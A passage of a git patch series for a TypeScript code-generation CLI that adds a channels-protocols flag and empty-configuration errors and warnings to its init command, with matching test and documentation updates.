includeChannels?: boolean; includeTypes?: boolean; includeModels?: boolean; + channelsProtocols?: (typeof ChannelProtocolOptions)[number][]; gitignoreGenerated?: boolean; } export default class Init extends BaseCommand { @@ -164,7 +215,14 @@ export default class Init extends BaseCommand { }), languages: Flags.string({ description: 'Which languages do you wish to generate code for?', - options: LanguageOptions + options: LanguageOptions, + default: 'typescript' + }), + 'channels-protocols': Flags.string({ + description: + 'Which protocols to generate channel functions for (used with --include-channels/--include-client on AsyncAPI inputs). Repeatable.', + options: [...ChannelProtocolOptions], + multiple: true }), 'no-tty': Flags.boolean({ description: 'Do not use an interactive terminal' @@ -207,7 +265,7 @@ export default class Init extends BaseCommand { }; async run() { - const {flags} = await this.parse(Init); + const {flags, metadata} = await this.parse(Init); // Configure logger based on flags this.setupLogger(flags); @@ -215,9 +273,15 @@ export default class Init extends BaseCommand { // eslint-disable-next-line no-undef const isTTY = process.stdout.isTTY; const realizedFlags = this.realizeFlags(flags); + // `config-type` has a default, so its value is always present; use the + // parser metadata to tell an explicit `--config-type` from the default so + // the interactive prompt can respect an explicitly-passed flag. + const configTypeIsDefault = Boolean( + metadata.flags['config-type']?.setFromDefault + ); if (!flags['no-tty'] && isTTY) { - return this.runInteractive(realizedFlags); + return this.runInteractive(realizedFlags, {configTypeIsDefault}); } await this.createConfiguration(realizedFlags); @@ -245,6 +309,7 @@ export default class Init extends BaseCommand { const includeChannels = flags['include-channels']; const includeTypes = flags['include-types']; const includeModels = flags['include-models']; + const channelsProtocols = flags['channels-protocols']; const languages = flags['languages']; const noOutput = flags['no-output']; const gitignoreGenerated = flags['gitignore-generated']; @@ -256,6 +321,7 @@ export default class Init extends BaseCommand { includeClient, includeTypes, includeModels, + channelsProtocols, outputDirectory, configName, inputFile, @@ -271,7 +337,10 @@ export default class Init extends BaseCommand { * Interactively ask the user for which configuration to create */ // eslint-disable-next-line sonarjs/cognitive-complexity - async runInteractive(flags: FlagTypes) { + async runInteractive( + flags: FlagTypes, + {configTypeIsDefault}: {configTypeIsDefault: boolean} + ) { let { includeChannels, includeParameters, @@ -280,6 +349,7 @@ export default class Init extends BaseCommand { includeClient, includeTypes, includeModels, + channelsProtocols, configName, outputDirectory, inputFile, @@ -332,34 +402,38 @@ export default class Init extends BaseCommand { ] }); } - questions.push({ - name: 'configType', - message: 'Type of configuration?', - type: 'list', - choices: [ - { - name: 'esm', - checked: true, - value: 'esm', - line: 'ESM JavaScript style configuration, enables all features' - }, - { - name: 'json', - value: 'json', - line: 'JSON style configuration, enables most features' - }, - { - name: 'yaml', - value: 'yaml', - line: 'YAML style configuration, enables most features' - }, - { - name: 'ts', - value: 'ts', - line: 'TS style configuration, enables all features' - } - ] - }); + // Only ask when the user did not pass an explicit `--config-type`; an + // explicit flag must win over the (always-present) default. + if (configTypeIsDefault) { + questions.push({ + name: 'configType', + message: 'Type of configuration?', + type: 'list', + choices: [ + { + name: 'esm', + checked: true, + value: 'esm', + line: 'ESM JavaScript style configuration, enables all features' + }, + { + name: 'json', + value: 'json', + line: 'JSON style configuration, enables most features' + }, + { + name: 'yaml', + value: 'yaml', + line: 'YAML style configuration, enables most features' + }, + { + name: 'ts', + value: 'ts', + line: 'TS style configuration, enables all features' + } + ] + }); + } if (!languages) { questions.push({ @@ -383,8 +457,7 @@ export default class Init extends BaseCommand { message: 'Do you want to include client wrapper?', type: 'confirm', when: (answers: InquirerAnswers) => - answers.languages === 'typescript' && - supportsGenerator('client', answers.inputType) + shouldAskInclude({preset: 'client', flags: {languages, inputType}, answers}) }); } if (!includePayloads) { @@ -393,8 +466,7 @@ export default class Init extends BaseCommand { message: 'Do you want to include payload structures?', type: 'confirm', when: (answers: InquirerAnswers) => - answers.languages === 'typescript' && - supportsGenerator('payloads', answers.inputType) + shouldAskInclude({preset: 'payloads', flags: {languages, inputType}, answers}) }); } if (!includeHeaders) { @@ -403,8 +475,7 @@ export default class Init extends BaseCommand { message: 'Do you want to include headers structures?', type: 'confirm', when: (answers: InquirerAnswers) => - answers.languages === 'typescript' && - supportsGenerator('headers', answers.inputType) + shouldAskInclude({preset: 'headers', flags: {languages, inputType}, answers}) }); } if (!includeParameters) { @@ -413,8 +484,7 @@ export default class Init extends BaseCommand { message: 'Do you want to include parameters structures?', type: 'confirm', when: (answers: InquirerAnswers) => - answers.languages === 'typescript' && - supportsGenerator('parameters', answers.inputType) + shouldAskInclude({preset: 'parameters', flags: {languages, inputType}, answers}) }); } if (!includeChannels) { @@ -424,8 +494,7 @@ export default class Init extends BaseCommand { 'Do you want to include helper functions for interacting with channels?', type: 'confirm', when: (answers: InquirerAnswers) => - answers.languages === 'typescript' && - supportsGenerator('channels', answers.inputType) + shouldAskInclude({preset: 'channels', flags: {languages, inputType}, answers}) }); } if (!includeTypes) { @@ -434,8 +503,7 @@ export default class Init extends BaseCommand { message: 'Do you want to include general type definitions?', type: 'confirm', when: (answers: InquirerAnswers) => - answers.languages === 'typescript' && - supportsGenerator('types', answers.inputType) + shouldAskInclude({preset: 'types', flags: {languages, inputType}, answers}) }); } if (!includeModels) { @@ -444,8 +512,33 @@ export default class Init extends BaseCommand { message: 'Do you want to include data models?', type: 'confirm', when: (answers: InquirerAnswers) => - answers.languages === 'typescript' && - supportsGenerator('models', answers.inputType) + shouldAskInclude({preset: 'models', flags: {languages, inputType}, answers}) + }); + } + + // Ask which protocols to generate channel/client functions for, but only + // for AsyncAPI inputs where channels or the client wrapper are included. + // OpenAPI seeds `http_client` automatically, so it is not asked here. + if (!channelsProtocols) { + questions.push({ + name: 'channelsProtocols', + message: + 'Which protocols should channel functions be generated for?', + type: 'checkbox', + choices: ChannelProtocolOptions.map((protocol) => ({ + name: protocol, + value: protocol + })), + when: (answers: InquirerAnswers) => { + const effectiveInputType = inputType ?? answers.inputType; + const wantsChannels = + (includeChannels ?? answers.includeChannels) === true; + const wantsClient = + (includeClient ?? answers.includeClient) === true; + return ( + effectiveInputType === 'asyncapi' && (wantsChannels || wantsClient) + ); + } }); } @@ -459,7 +552,9 @@ export default class Init extends BaseCommand { if (questions.length) { const answers: any = await inquirer.prompt(questions); - configType = answers.configType; + // An explicit `--config-type` flag skips its question, so only take the + // answer when one was collected. + configType = answers.configType ?? configType; includeChannels ??= answers.includeChannels; includeParameters ??= answers.includeParameters; includePayloads ??= answers.includePayloads; @@ -467,6 +562,7 @@ export default class Init extends BaseCommand { includeClient ??= answers.includeClient; includeTypes ??= answers.includeTypes; includeModels ??= answers.includeModels; + channelsProtocols ??= answers.channelsProtocols; inputFile ??= answers.inputFile; inputType ??= answers.inputType; configName ??= answers.configName; @@ -483,6 +579,7 @@ export default class Init extends BaseCommand { includeClient, includeTypes, includeModels, + channelsProtocols, inputFile, inputType, languages, @@ -517,6 +614,8 @@ export default class Init extends BaseCommand { // the generator emits something instead of an empty channels config. if (flags.inputType === 'openapi') { generator.protocols = ['http_client']; + } else if (flags.channelsProtocols && flags.channelsProtocols.length > 0) { + generator.protocols = [...flags.channelsProtocols]; } configuration.generators.push(generator); } @@ -582,6 +681,33 @@ export default class Init extends BaseCommand { configuration.generators.push(generator); } } + // A configuration with no generators would generate nothing. Fail loudly + // instead of silently writing an empty, useless config and printing success. + if (configuration.generators.length === 0) { + this.error( + `No generators were configured for '${flags.inputType ?? 'the selected input'}', so the configuration would generate nothing.\n` + + 'Re-run `codegen init` interactively and choose at least one generator, or pass one or more include flags: ' + + '--include-payloads, --include-parameters, --include-headers, --include-channels, --include-client, --include-types, --include-models ' + + '(availability depends on --input-type).', + {exit: 1} + ); + } + + // A channels generator on AsyncAPI with no protocols produces only an empty + // barrel. The config is still valid, so warn rather than error. + const channelsGenerator = configuration.generators.find( + (generator: any) => generator.preset === 'channels' + ); + if ( + flags.inputType === 'asyncapi' && + channelsGenerator && + (!channelsGenerator.protocols || channelsGenerator.protocols.length === 0) + ) { + Logger.warn( + "The channels generator has no protocols set, so no channel functions will be generated. Set 'protocols' in the generated configuration (or pass --channels-protocols) to choose protocols such as nats, kafka, mqtt, amqp." + ); + } + let fileOutput: string = ''; let fileExtension: string = 'mjs'; if (flags.configType === 'json') { @@ -635,30 +761,9 @@ export default config;`; // Handle .gitignore updates if (flags.gitignoreGenerated && !flags.noOutput) { - const outputPaths: string[] = []; - - // Collect all output paths from enabled generators - if (flags.includeChannels) { - outputPaths.push(defaultTypeScriptChannelsGenerator.outputPath); - } - if (flags.includePayloads) { - outputPaths.push(defaultTypeScriptPayloadGenerator.outputPath); - } - if (flags.includeHeaders) { - outputPaths.push(defaultTypeScriptHeadersOptions.outputPath); - } - if (flags.includeClient) { - outputPaths.push(defaultTypeScriptClientGenerator.outputPath); - } - if (flags.includeParameters) { - outputPaths.push(defaultTypeScriptParametersOptions.outputPath); - } - if (flags.includeTypes) { - outputPaths.push(defaultTypeScriptTypesOptions.outputPath); - } - if (flags.includeModels) { - outputPaths.push(defaultTypeScriptModelsOptions.outputPath); - } + // Derive ignore entries from the generators actually built, so an include + // flag that was dropped (unsupported for the input type) adds no entry. + const outputPaths = deriveGitignoreOutputPaths(configuration.generators); if (outputPaths.length > 0) { const result = await updateGitignore(outputPaths); diff --git a/test/commands/init.spec.ts b/test/commands/init.spec.ts index babf633d..ce7c5759 100644 --- a/test/commands/init.spec.ts +++ b/test/commands/init.spec.ts @@ -40,7 +40,7 @@ function parseEmittedConfig(stdout: string): any { describe('init', () => { describe('configuration types', () => { it('should generate esm configuration', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -48,7 +48,7 @@ describe('init', () => { }); it('should generate typescript configuration', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -56,7 +56,7 @@ describe('init', () => { }); it('should generate json configuration', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -64,7 +64,7 @@ describe('init', () => { }); it('should generate yaml configuration', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -114,7 +114,7 @@ describe('init', () => { }); it('should generate configuration with all include flags', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-headers --include-payloads --include-parameters --include-channels --include-client --include-types --include-models`); + const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-headers --include-payloads --include-parameters --include-channels --include-client --include-types --include-models --channels-protocols nats`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -135,7 +135,7 @@ describe('init', () => { describe('input types', () => { it('should handle asyncapi input type', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -143,7 +143,7 @@ describe('init', () => { }); it('should handle openapi input type', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -212,7 +212,7 @@ describe('init', () => { describe('configuration options', () => { it('should use custom config name', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --config-name=my-custom-config --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=esm --config-name=my-custom-config --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -220,7 +220,7 @@ describe('init', () => { }); it('should use custom output directory', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./custom-output' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./custom-output' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -229,73 +229,67 @@ describe('init', () => { it('should generate correct file extensions for different config types', async () => { // Test ESM (.mjs) - const esmResult = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const esmResult = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(esmResult.stdout).toContain('.mjs'); // Test TypeScript (.ts) - const tsResult = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const tsResult = await runCommand(`init --config-type=ts --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(tsResult.stdout).toContain('.ts'); // Test JSON (.json) - const jsonResult = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const jsonResult = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(jsonResult.stdout).toContain('.json'); // Test YAML (.yaml) - const yamlResult = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const yamlResult = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(yamlResult.stdout).toContain('.yaml'); }); }); describe('configuration content validation', () => { it('should include correct language in configuration', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).toContain('"language": "typescript"'); }); it('should include schema reference in JSON configuration', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).toContain('"$schema": "https://raw.githubusercontent.com/the-codegen-project/cli/main/schemas/configuration-schema-0.json"'); }); it('should include schema reference in YAML configuration', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=yaml --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).toContain('# yaml-language-server: $schema=https://raw.githubusercontent.com/the-codegen-project/cli/main/schemas/configuration-schema-0.json'); }); - - it('should have empty generators array when no include flags are specified', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); - expect(error).toBeUndefined(); - expectNoActualErrors(stderr); - expect(stdout).toContain('"generators": []'); - }); }); describe('edge cases and error handling', () => { it('should handle missing input-file flag gracefully in non-interactive mode', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, error} = await runCommand(`init --config-type=esm --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); // The command should still run, but the inputFile will be undefined expect(error).toBeUndefined(); expect(stdout).toContain('Successfully created your sparkling new generation file'); }); - it('should handle missing input-type flag gracefully in non-interactive mode', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --languages=typescript --no-tty --output-directory='./' --no-output`); - // The command should still run, but the inputType will be undefined - expect(error).toBeUndefined(); - expect(stdout).toContain('Successfully created your sparkling new generation file'); + it('errors when the input-type flag is missing (no generator can be built)', async () => { + const {error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); + // Without an input type, no preset is supported, so nothing can be generated. + expect(error).toBeDefined(); + expect(`${error?.message}`).toMatch(/--include-/); }); - it('should handle missing languages flag gracefully in non-interactive mode', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --no-tty --output-directory='./' --no-output`); - // The command should still run, but the languages will be undefined + it('defaults the languages flag when it is missing in non-interactive mode', async () => { + const {stdout, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --no-tty --output-directory='./' --no-output --include-models`); + // languages defaults to typescript, so an include flag still produces generators. expect(error).toBeUndefined(); expect(stdout).toContain('Successfully created your sparkling new generation file'); + expect(stdout).toContain('"language": "typescript"'); }); }); @@ -402,7 +396,7 @@ describe('init', () => { describe('gitignore functionality', () => { it('should accept gitignore-generated flag', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --gitignore-generated`); + const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models --gitignore-generated`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -410,7 +404,7 @@ describe('init', () => { }); it('should work without gitignore-generated flag', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).not.toEqual(''); @@ -488,7 +482,7 @@ describe('init', () => { }); it('should handle gitignore-generated with OpenAPI input type', async () => { - const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output --gitignore-generated`); + const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models --gitignore-generated`); expect(error).toBeUndefined(); expectNoActualErrors(stderr); expect(stdout).toContain('Successfully created your sparkling new generation file'); From cd7317e416a51f476d8d3b1754b7e284d6bf9ad2 Mon Sep 17 00:00:00 2001 From: jonaslagoni Date: Thu, 23 Jul 2026 23:11:33 +0200 Subject: [PATCH 05/32] Phase 5: RED test for empty-protocols channels warning Co-Authored-By: Claude Opus 4.8 (1M context) --- .../channels/empty-protocols.spec.ts | 60 +++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 test/codegen/generators/typescript/channels/empty-protocols.spec.ts diff --git a/test/codegen/generators/typescript/channels/empty-protocols.spec.ts b/test/codegen/generators/typescript/channels/empty-protocols.spec.ts new file mode 100644 index 00000000..3ec6f13a --- /dev/null +++ b/test/codegen/generators/typescript/channels/empty-protocols.spec.ts @@ -0,0 +1,60 @@ +import path from 'node:path'; +import { + defaultTypeScriptChannelsGenerator, + generateTypeScriptChannels +} from '../../../../../src/codegen/generators'; +import {loadAsyncapiDocument} from '../../../../../src/codegen/inputs/asyncapi'; +import {Logger} from '../../../../../src/LoggingInterface'; + +describe('channels empty protocols warning', () => { + it('warns and still emits the barrel when no protocol functions are generated', async () => { + const warnSpy = jest.spyOn(Logger, 'warn').mockImplementation(() => {}); + try { + const parsedAsyncAPIDocument = await loadAsyncapiDocument( + path.resolve(__dirname, '../../../../configs/asyncapi.yaml') + ); + const generated = await generateTypeScriptChannels({ + generator: { + ...defaultTypeScriptChannelsGenerator, + outputPath: path.resolve(__dirname, './output-empty-protocols'), + id: 'test-empty-protocols', + protocols: [] + }, + inputType: 'asyncapi', + asyncapiDocument: parsedAsyncAPIDocument, + dependencyOutputs: { + 'parameters-typescript': { + channelModels: {}, + generator: {outputPath: './test'} as any, + files: [] + }, + 'payloads-typescript': { + channelModels: {}, + operationModels: {}, + otherModels: [], + generator: {outputPath: './test'} as any, + files: [] + }, + 'headers-typescript': { + channelModels: {}, + generator: {outputPath: './test'} as any, + files: [] + } + } + } as any); + + // The barrel (index.ts) must still be emitted — the content contract is unchanged. + expect(generated.files.some((file) => file.path.endsWith('index.ts'))).toBe( + true + ); + + // A warning must name the generator id and explain that nothing was generated. + expect(warnSpy).toHaveBeenCalled(); + const warned = warnSpy.mock.calls.map((call) => String(call[0])).join('\n'); + expect(warned).toContain('test-empty-protocols'); + expect(warned).toMatch(/protocol/i); + } finally { + warnSpy.mockRestore(); + } + }); +}); From 29a842da2a2d690af18c69d43f9aa1035ac51b3d Mon Sep 17 00:00:00 2001 From: jonaslagoni Date: Thu, 23 Jul 2026 23:12:27 +0200 Subject: [PATCH 06/32] Phase 6: warn when channels generator produces no protocol functions Co-Authored-By: Claude Opus 4.8 (1M context) --- src/codegen/generators/typescript/channels/index.ts | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/codegen/generators/typescript/channels/index.ts b/src/codegen/generators/typescript/channels/index.ts index 0d17290a..53ea3eac 100644 --- a/src/codegen/generators/typescript/channels/index.ts +++ b/src/codegen/generators/typescript/channels/index.ts @@ -3,6 +3,7 @@ /* eslint-disable sonarjs/no-duplicate-string */ import {TheCodegenConfiguration, GeneratedFile} from '../../../types'; import {resolveImportExtension, joinPath} from '../../../utils'; +import {Logger} from '../../../../LoggingInterface'; import { defaultTypeScriptParametersOptions, TypeScriptParameterRenderType, @@ -156,6 +157,15 @@ async function finalizeGeneration( const indexFilePath = joinPath(context.generator.outputPath, 'index.ts'); files.push({path: indexFilePath, content: indexContent}); + // No protocol produced any functions — the barrel is still emitted (the + // content contract is unchanged), but warn so the user knows nothing usable + // was generated and how to fix it. + if (generatedProtocols.length === 0) { + Logger.warn( + `Channels generator '${context.generator.id}' produced no protocol functions. Set 'protocols' (e.g. nats, kafka, mqtt, amqp, http_client, websocket, event_source) in the generator configuration to generate channel functions.` + ); + } + return { parameterRender: parameters, payloadRender: payloads, From 70af44af967ad7e3a02c77df848115e69af41617 Mon Sep 17 00:00:00 2001 From: jonaslagoni Date: Thu, 23 Jul 2026 23:15:00 +0200 Subject: [PATCH 07/32] Phase 7: hide abstract codegen base command from manifest and docs Co-Authored-By: Claude Opus 4.8 (1M context) --- docs/usage.md | 89 +++++++++++++++++---------------------- src/commands/base.ts | 5 +++ src/commands/generate.ts | 1 + src/commands/init.ts | 1 + src/commands/telemetry.ts | 1 + 5 files changed, 46 insertions(+), 51 deletions(-) diff --git a/docs/usage.md b/docs/usage.md index f516bca5..e29a6919 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -9,7 +9,7 @@ $ npm install -g @the-codegen-project/cli $ codegen COMMAND running command... $ codegen (--version) -@the-codegen-project/cli/0.79.0 linux-x64 node-v22.23.1 +@the-codegen-project/cli/0.79.0 darwin-arm64 node-v24.15.0 $ codegen --help [COMMAND] USAGE $ codegen COMMAND @@ -27,7 +27,6 @@ USAGE * [`codegen autocomplete [SHELL]`](#codegen-autocomplete-shell) -* [`codegen base`](#codegen-base) * [`codegen generate [FILE]`](#codegen-generate-file) * [`codegen help [COMMAND]`](#codegen-help-command) * [`codegen init`](#codegen-init) @@ -65,23 +64,6 @@ EXAMPLES _See code: [@oclif/plugin-autocomplete](https://github.com/oclif/plugin-autocomplete/blob/v3.2.45/src/commands/autocomplete/index.ts)_ -## `codegen base` - -``` -USAGE - $ codegen base [--json] [--no-color] [--debug | [-q | -v | --silent] | ] - -FLAGS - -q, --quiet Only show errors and warnings - -v, --verbose Show detailed output - --debug Show debug information - --json Output results as JSON for scripting - --no-color Disable colored output - --silent Suppress all output except fatal errors -``` - -_See code: [src/commands/base.ts](https://github.com/the-codegen-project/cli/blob/v0.79.0/src/commands/base.ts)_ - ## `codegen generate [FILE]` Generate code based on your configuration, use `init` to get started, `generate` to generate code from the configuration. @@ -141,40 +123,45 @@ Initialize The Codegen Project in your project USAGE $ codegen init [--json] [--no-color] [--debug | | [--silent | -v | -q]] [--help] [--input-file ] [--config-name ] [--input-type asyncapi|openapi|jsonschema] [--output-directory ] [--config-type - esm|json|yaml|ts] [--languages typescript] [--no-tty] [--include-payloads] [--include-headers] [--include-client] - [--include-parameters] [--include-channels] [--include-types] [--include-models] [--gitignore-generated] + esm|json|yaml|ts] [--languages typescript] [--channels-protocols + nats|kafka|mqtt|amqp|event_source|http_client|websocket] [--no-tty] [--include-payloads] [--include-headers] + [--include-client] [--include-parameters] [--include-channels] [--include-types] [--include-models] + [--gitignore-generated] FLAGS - -q, --quiet Only show errors and warnings - -v, --verbose Show detailed output - --config-name= [default: codegen] The name to use for the configuration file (dont include file - extension) - --config-type=